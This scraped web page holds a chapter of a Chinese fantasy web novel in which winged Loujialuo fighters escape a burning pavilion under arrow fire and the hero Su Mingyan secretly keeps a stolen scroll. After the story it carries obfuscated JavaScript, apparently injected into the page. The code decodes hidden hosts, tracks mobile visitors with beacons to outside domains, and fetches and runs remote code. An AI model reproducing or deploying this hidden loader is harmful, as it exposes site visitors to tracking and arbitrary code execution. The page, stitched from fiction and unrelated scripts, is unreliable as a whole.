从火焰海里,不过有展开双翼的楼迦罗族人飞起,可以等待他们的则是数十张乌梢强弩发射的密集箭雨。阮阿蛮看着族人从火海里不停的飞起,又不断坠入火海,被大火烧成灰烬,隔着这么远,嘶嚎声也清晰可闻,阮阿蛮的一张绝美的脸庞因痛苦而极致的扭曲着,展开双翅就要往销金阁方向飞去。
“回来!”长琴化影遁至阮阿蛮的身前,将她拦住,“在迦南,我们难有实力跟乔羿良斗。”
“他就不怕烧毁秘典”
“秘典传承数千年,也丝毫无损,一场大火就烧得毁吗”
急促的脚步声传来,一队穿着铠甲的武士从暗巷的两端将巷子围住,两侧的宅院里涌入大量端弩持弓的武士。这里的动静早就惊动了迦南官方,不过一直在暗地里调兵遣将,表面不动声色。
长琴与歧伯一直担忧阿奕的安危,根本没有想到他在此之前就潜入大纳言府偷出秘典,自然也不会注意今夜的异常。
长琴狠狠的盯了阿奕一眼,要是他早将取到秘典的事情说出来,他们有足够的时间撤出王城,现在不单留在销金阁的族人全军覆灭,他们能不能虎口脱身,还是两说。
长琴回过看了一眼七名族人,阿奕丧失战斗力,必须有一名族人给他牵累,对岐伯说道:“叠翼阵,我在最下面飞。”
歧伯展开双翼,从高墙上浮起,伸手从阮阿蛮怀里将受伤的阿奕搂起,振翅上了半空。
“咔咔咔……”高墙周围响起密集的机括声,迦南的甲士看见有楼迦罗人飞上半空,纷纷举起手里的乌梢弩与长弓,就像无数的流星雨落向空中,位于叠翼阵最下方的长琴双翼一展,左右宽达两丈,只听见叮叮当当的金属相击之声,无数铁棱羽箭,在长琴的双翼上碰出明灭的火星,无数羽箭又给他双翼振荡产生的劲气席卷着往地面上的人群劲射。
“他奶奶的,这个家伙一开始就出手的话,我们今夜有没有命还得两说。”石川华骑坐在远处的一道高墙上,望着叠着一条竖列的七名楼迦南人,想想还真是后怕。
“王城军司怎么会找他们的麻烦”易非天喃喃自问。
销金阁一下子就陷入滔天火海之中,顷刻间就化为灰烬,里面几乎没有人能逃出来。夜未深,但是销金阁里肯定还有其他客人,能进销金阁享受的客人,非富即贵,王城军司怎么就能毫无顾忌的放出这把火,又行动迅速的将阮阿蛮、歧伯等人围困住
素鸣衍心里满是疑惑,今夜遇到的事也太蹊跷了。他们三人根本就没走远,一直潜伏这里看那边的动静,不过也让王城军司的突然出动吓了一跳。
长琴催动双翼将箭雨吹乱,七人形成叠翼阵往这边飞来。
“快逃,免得他们误会王城军司的人马是我们引来的。”石川华翻身下了高墙。
素鸣衍微微一笑,楼迦罗人在他手里一死一伤,这梁子早就结下来,不过眼下不宜跟王城军司的人马碰面,也随他们三人跃下来。望着半空中飞来的七名楼迦罗人,四人正要横穿巷子避开他们,从对面涌入一队甲士。这时跳上高墙也会泄露行踪,说不定给当成楼迦罗人遭到箭雨的阻击,易非天手向后按了按,让素鸣衍他们稍安勿躁,独自走了出去,大声说道:“我是易铭达之子,是王城军司的哪位将军领队”
“咔咔咔……”暗处相逢哪里分得清敌我素鸣衍此时早将长击刀拔在手里,只待一言不合,就先杀出去再说。
“非天”幢幢黑影中站出一名将领,“非天,你在这里做什么”
“原来是你,易孟仲,易大哥,你吓得我们一身冷汗。”石川华从角落里走出来,“我们从学院偷偷熘进城来取乐,遇到不认识我们的将领,只怕要吃点苦头了。”
易孟仲注视着石川华后面的素鸣衍、藏金两人,狐疑的扫了易非天两眼:“非天,他们是谁”
易非天将嘴凑到易孟仲的耳边,悄悄说出檀那明河与藏金的身份。
“胡闹!”易孟仲训斥了易非天一声,持剑的左手贴着胸口朝素鸣衍微微躬了躬身,算是行礼。
素鸣衍借着微弱的光线打量着这位易孟仲,他是易非天的表兄,时任王城军司都统,大约三十一二岁,脸色线条硬直,给人坚毅武勇的感觉,一双眼睛在黑暗的夜色尤显得明亮,虽然正值军务,全身的气势还是收敛着,好像不到关键时刻绝不爆发出来。身后背着一支大弓,凝重的金属光泽,素鸣衍一眼看上去,就觉得那张弓异常的沉重。
“乱党朝这里飞来了。”爬上墙头观望的甲士回头禀报。
易孟仲取下长弓,抽出一支羽箭压在弓弦上,众甲士随着他一起将手里弓弩斜指向天空。
够阴险,易孟仲将他那支贯满劲气的羽箭藏在箭雨之中,真是防不胜防。
淡淡的影子压过墙来,长琴、岐伯、阮阿蛮等七名楼迦罗人上下相叠突破前面的箭雨防阵,正飞过众人上空。
“发射。”易孟仲发令射箭,等箭雨射出,他才开弓拉开满弦将手里的那支羽箭射出。那支贯满劲气的利箭夹在上百支乱箭之中,一起往位于最下端的长琴射去。
“嗷……”那支利箭狠狠的扎在长琴的肩头,剧烈的痛楚让他禁不住将巨大的双翼敛起来,他身后的鸟人失去遮挡,顿时给第二次的箭雨射落两人,坠到街道已浑身给射成一只巨型刺猬。
长琴这才注意到易孟仲的存在,长啸一声,将肩头的羽箭拔出来,朝他甩射下来。
易孟仲举剑格箭,身子给巨大的冲力一撞,禁不住连退了两步才站住,剑刃竟给甩射下来的羽箭崩出一粒缺口。
“这鸟人好强!”
长琴让易孟仲用诡计射中一箭,动了真怒,连声厉啸,双翼荡起漫天劲气,将射上来的箭雨吹得七零八落,到了他跟前就没有什么劲道。长琴双臂一卷,将数十支羽箭搂在怀里,双翅向身后竖起,以站立的姿势悬停在空中,勐然往下俯冲,就像流星一样撞向地面,借着俯冲之势将手里的羽箭朝地面黑压压的影子一起甩射过去。
这样也行这名楼迦罗人已经超越地阶的瓶颈限制,有七阶武士的水准,战斗力比峻衡山遇到的那名赤肌鬼还有强几分,就算用手甩射出来的箭雨,威势也极其骇人。
素鸣衍也顾不上掩藏身形,举拳就往当头的箭雨轰去,从拳锋里爆出金芒气盾,迎向流星羽箭。数十支羽箭并非同时射到,前面十六七支羽箭挟得冲击出来的强大气流就将拳锋爆出的金芒压成极薄的一层,素鸣衍收手不及,给最后的一支羽箭刺破气盾,扎透他的拳头。
“嗷……”素鸣衍忍不住大叫一声,将箭杆折断,抽出手掌。
素鸣衍挡住十七八支箭,将藏金、石川华、易非天护在当中,还有数十支羽箭射中后面的人群中。
石川华看着那些穿着重铠还给轻巧羽箭射穿身体的甲士,心里只冒寒气,才这知道檀那明河是怕他来不及躲开,才以身挡箭的。怔怔站在那里,却不习惯说什么感激的话。
长琴认出素鸣衍来,心里恨道:果真是一丘之貉。他深知大纳言府也藏着绝世高手,若让他们赶来,身后的族人绝对幸免的可能,何况下面这名少年表现出来的不凡实力,也绝非轻松就能解决的,还有那么多碍手碍脚的家伙。
长琴厉啸一声,怨恨的剐了素鸣衍一眼,振翅护着身后的族人离去。
素鸣衍正关心易孟仲会不会率领土完整部下追赶,眼前一花,有两道暗影从眼前晃过,往楼迦罗人逃逸的方向追去。他们身形之速,连素鸣衍也来不及看清他们的相貌。
天榜人物摩揭伯岑是天榜中的大术士,只是不知道天榜中的武者会强到什么地步。
至少可以肯定这两人已经超越地阶的瓶颈限制,达到七阶以上的实力。
这两人肯定先在销金阁坐阵,临了发现关键人物并不在阁里,这才往这里追来,到底为了什么,要请出两名绝世高手
这会儿,素鸣衍让藏金裹好手上的伤,过来给易孟仲回礼,问道:“为了什么事,竟然搞出这么大动静”
“大纳言府上丢了东西,王城军司六部都紧急出动了。”
乔羿良能紧急调动王城军司的六部兵马素鸣衍倒吸一口凉气,这么说迦南王实际上也处于乔羿良的控制之下,可没听说青岚有这么厉害的权臣。
“没有搜索,就纵火烧楼,不怕要找的东西给烧毁究竟是什么东西”石川华问道。
“纵火烧楼是乔羿云羽亲自传的令,究竟什么东西没有说,应该不畏火烧。”
“乔羿云羽刚刚过去的两人就有他吗”易非天诧然问道。
“二十八岁就突破地阶的瓶颈限制,成为迦南历史上最年轻的七阶武士之一,说不定三十岁之前就能挤入天榜呢,”易孟仲压低声音,“乔羿氏的权势越来越牢不可破了。”
巫弥生的修为比尤溪还要强一线,几乎能够肯定,他在二十八岁之前也会突破地阶瓶颈。
素鸣衍听出易孟仲的话里有许多怨恨,微微一笑,装作不懂。
石川华啧啧叫着:“明河就不比那个乔羿云羽差,我最差劲,落后这么一大截,藏金现在也比我强了。”
“你石家的秘学,最讲究筑基,石将军的修为也是在三十岁之后才突飞勐进的。”易孟仲说道,“全城戒严,你们出城若给逮住,反而会惹出麻烦,不如领着客人先回家里过一夜,你父亲到秋浦军中去了,不要惊动别人就行。”
易非天看了素鸣衍一眼,悄然进府,不安排酒宴招待,未免过于怠慢他羽嘉郡王的身份,却偏偏不能大张旗鼓,若让别人知道入质的羽嘉郡王随意进出王城,问题会更加严重,说不定会惊动宫廷。
素鸣衍笑道:“左右无事,我们四人再找地方饮酒就是。”
石川华看了一眼他给羽箭射穿的手掌,问道:“手上的伤没事”
“要是打架的话,你们三人在前面扛着。”
这会儿,东城的士兵传来话,说那几名楼迦罗人逃出城去,乔羿云羽与另一名高手追了出去。王城正大肆搜捕楼迦罗人,许多与销金阁无关的楼迦罗武士也受到牵连。城墙上明火高耀,架着强弩强弓,就是预防楼迦罗人凭借双翼飞出城去。
易孟仲率领部下去东城搜捕楼迦罗人,只剩下素鸣衍四人与五六具尸体留在原地。
素鸣衍对着石川华说道:“销金阁真不简单,我们进去时,里面的人肯定认出你们俩人的身份……”
“我可是第一次去那些场合……”石川华连忙解释道。
易非天说道:“正因为我们从没有去过,他们却认出我们的身份,这才说明他们不简单啊。销金阁在王城经营得这么严密,让大纳言一个命令,就毁得干干净净,可见大纳言府上丢的东西真是非同小可。”
“不如追出去看看……”石川华跃跃欲试,完全不管现在城外至少有三人的修为要远远强过他们。
素鸣衍打了哈欠,用受伤的左手掩着口鼻:“现在出城都不可能,还是找地方喝酒吧。”
藏金难得的发表了一下个人意见:“王城一等名门的子弟也就那么几十人,我们去那些豪贵聚集的夜店,肯定还会给认出来,不如去商队的会馆,饮酒观舞两不误的。”
“裔天商队的会馆”石川华兴奋的说,“我还记得柳静安那小子,可以找他一起喝酒。”
素鸣衍知道藏金是担忧他的伤势,心想与裔天商队的密切关系肯定瞒不过明眼的人,去裔天会馆过夜是最稳妥的。
四人穿街过巷,来到一处比夜战暗巷还要窄的巷子,石川华说道:“这是什么地方,裔天会馆也不需这么寒酸,我记得明河在镜城时,一下子掏出百万银币都没皱眉头。”
藏金笑道:“这里是后巷,前面是政吉巷,可以去鸾凤楼请歌舞伎来助兴。”
“如此甚好,明河没有事情来分心,肯定会熬不住叫痛的。”
城里的动静甚大,会馆墙头立着值夜的子弟,借着幽暗的街灯,看见素鸣衍四人走过来,忙让人去请留守会馆的罗思勉。
罗思勉看了素鸣衍左手的伤,吓了一跳,将四人引进院子,只留下几名亲信在左右侍卫,恭敬的请安:“殿下怎么会受了伤”
南城的喧哗还没有歇下来,素鸣衍笑道:“销金阁出了事情,我们适逢其会,里面藏着一名高手,不小心让箭射穿手掌。”
“销金阁最近半年秘密潜进去些楼迦罗人,身手都不弱,为首名叫长琴,是扶桑岛的圣者,传言是离天榜仅一步之遥的影武者,殿下遇到可是他他们来王城好像是为寻找某件东西,今夜动静如此之大,可能是东西得手了。”
石川华插嘴道:“至少有两人折在明河手里。”
罗思勉早就知道殿下是好事的主,这半年来在灵麓山武技进步极速,倒是易非天、石川华、藏金三人安然无羡,让他有些想象不出当时的打斗情景。
“大纳言府上失了窃,你可探听出什么消息”素鸣衍问道。
“最近王城里的楼迦罗人四处打听一本秘典,大纳言府可失窃的是这个。”
素鸣衍心神一动,又觉得不可能,阿奕的身手虽然说起来也不错,素鸣衍不用诡计,也没那么方便将他摆平,但是有长琴、岐伯这样的高手在,没有理由将这么重要的东西放在他的身上。
素鸣衍永远想不到,阿奕刚将秘典从大纳言府盗回,听说销金阁里来了四名少年,其中一人竟然第一次就敢点阿蛮的名,长琴也伪装成乐工去试探四名少年的底细,好奇之下就到窗外窥探,不料让阿蛮无意间惊破。素鸣衍绝对是不怕惹事的主,顺手甩出银筷子将他击伤,又在席间调戏阿蛮。气恼之下,阿奕忘了要将秘典先交上去,而直接领着小五小六去截人出气。
素鸣衍将书卷藏入怀里,无人看见,虽然不相信怀里书册就是楼迦罗人与大纳言乔羿良争夺的秘典,但是这时也不会当着易非天、石川华的面掏出来的。
过度依赖光明系的回复术法,无疑会使自身的自愈能力下降。会馆里有低阶的光明系术士,素鸣衍考虑到今夜不会再有战斗,就没有让他们过来疗伤,只让医师重新处理了一下伤口,让罗思勉安排了一间静室。
渺渺歌乐传来,中间杂着石川华、易非天、藏金等人的笑语。
这时已有确切的消息传来,长琴、阮阿蛮、歧伯等人在族人的掩护下,顺利逃出王城,王城军司正大肆搜捕王城里的楼迦罗人。
楼迦罗海盗对河港联盟的危害最大,这也注定迦南与青岚两国对楼迦罗人的纵容姿态,楼迦罗海盗劫掠的物资大多在迦南、青岚两国境内倾销。不知什么样的秘典让楼迦罗人不惜得罪迦南的第一权臣。
素鸣衍取出那卷书册,浅青色的线装书页是用硝得极薄的某种兽皮制成。如果阿奕不是正好将书册放在胸口,铁定逃不过素鸣衍两刀给他来个开膛破肚。素鸣衍拔出石川华还给他的长击刀,贴着书页的右下角用力一割,书页完好无损,锋利的长击刀竟然没能将书页割破。
“会是这本书”
素鸣衍翻开书,扉页是一副叠图,打开约有五掌多宽,湛蓝的画页上画着星河璀璨的苍穹,在那一瞬间,素鸣衍仿佛回到经院的夜晚,仿佛躺在昆仑荆的树冠上仰望星穹。
“星相图”
星相图虽然珍贵,好像也不值得楼迦罗人花费这么大的心血,今夜过后,楼迦罗人在王城里的势力必定给连根拔起。
素鸣衍捻着书页快速翻了一遍,上面都是贝页古文字,锋利的刀刃都割不破的书页显得有些残旧,流传的时间够长久了。这么一本书,即使是什么秘典,也早就让人钻研透了。楼迦罗人得手,一天的工夫足以让他们将这本薄薄的书册影印十几本出来,这本原本也就有点收藏价值,乔羿良完全没必要大动干戈,或许这不是乔羿良要找的秘典。
素鸣衍将书收了起来,望着窗琉璃上印着的人影,这会儿左手的伤口已经不疼了,素鸣衍起身推开门扉,望着照在中庭里的幽昧光影若有所思。
罗思勉走了进来:“鸾凤阁的行首叶零儿姑娘求见殿下。”
“啊……”
“为给酒席助兴,属下特地派人去鸾凤阁去请歌舞伎,想不到鸾凤阁的叶姑娘亲自过来,一到会馆就要求见殿下,属下也不知道她怎么知道殿下今夜会在这里”
“今夜王城的乱子不小,也只有我在这时候还有兴致邀舞佐酒,叶零儿也是好兴致,可知道她是哪边的人”
“帝都……”
“帝都”
“属下只是猜测,还没有查实,所以没有禀报,只是帝都在迦南的影蝶此时求见殿下,未免有些奇怪。”
素鸣衍心里也是这么想的,到迦南为质,有什么事自有内府司通知少王典签方镜川,帝都在迦南的影蝶就是遇到不能解决的事情也不应该惊忧这边啊。素鸣衍迅速想到另一种可能,脸色一寒,声音压低了半分:“她在前院”
“叶零儿姑娘扮成侍女,没有随舞伎去前院,除了身边几个人,没有人知道叶零儿姑娘过来。”
素鸣衍随罗思勉穿过走廊,走进东院,庭院里一名素衣丽人依树娉婷而立,正望着树下的花影出神,惊觉素鸣衍走到身后,回过头来,容貌艳丽,明净的眼眸里还藏着一丝惊谔,看起来真不像风尘中人。
“影蝶叶零儿见过六殿下。”
素鸣衍沉默着,凝视着这位刚从惊谔中恢复从容的女子。
“这是叶零儿的身份戒环,请六殿下过目……”
罗思勉接过样式古朴的戒环细细看了看,朝素鸣衍点了点头,递到他眼前,请他亲自确认。
素鸣衍摆了摆手,说道:“我入迦南,内府司并没有将在迦南影蝶的名单告诉我,想来影蝶在迦南的活动与我无关……”
叶零儿看了罗思勉一眼,欲言又止。
素鸣衍说道:“罗会首隶属于内府司,对我忠心不二,你有什么话就说出来。”
关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();